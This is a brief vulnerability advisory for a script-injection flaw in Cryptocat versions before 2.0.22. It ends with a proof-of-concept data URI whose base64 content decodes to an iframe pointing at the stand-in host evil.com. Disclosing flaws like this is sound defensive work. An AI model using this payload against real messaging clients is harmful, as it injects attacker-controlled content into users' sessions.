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Cryptocat Script Insertion

Posted on 06 November 2015

Cryptocat is prone to an arbitrary script-injection vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code within the context of the application.

Versions prior to Cryptocat 2.0.22 are vulnerable.

Http://example.come/data:image/foo;base64,PGh0bWw+PGlmcmFtZSBzcmM9Imh0dHA6Ly9ldmlsLmNvbS8iPjwvaWZyYW1lPjwvaHRtbD4NCg

 

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